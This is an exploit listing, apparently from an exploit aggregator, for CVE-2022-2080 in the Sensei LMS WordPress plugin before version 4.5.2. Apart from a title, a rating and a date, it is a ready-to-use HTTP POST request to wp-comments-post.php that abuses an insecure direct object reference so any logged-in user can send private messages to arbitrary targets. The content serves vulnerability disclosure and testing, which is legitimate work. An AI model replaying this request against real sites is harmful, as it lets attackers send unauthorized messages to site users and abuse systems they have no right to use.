Exploit for Sensei LMS < 4.5.2 - Arbitrary Private Message Sending via IDOR CVE-2022-2080

Name: Exploit for Sensei LMS < 4.5.2 - Arbitrary Private Message Sending via IDOR CVE-2022-2080
Rating: 5 (75 reviews)

2022-08-04 | CVSS 1.7

## https://sploitus.com/exploit?id=WPEX-ID:5395D196-A39A-4A58-913E-5B5B9D6123A5
POST /wp-comments-post.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Connection: close
Cookie: [any authenticated user]
Upgrade-Insecure-Requests: 1

comment=<Any+comment>&submit=Post+Comment&comment_post_ID=111&comment_parent=0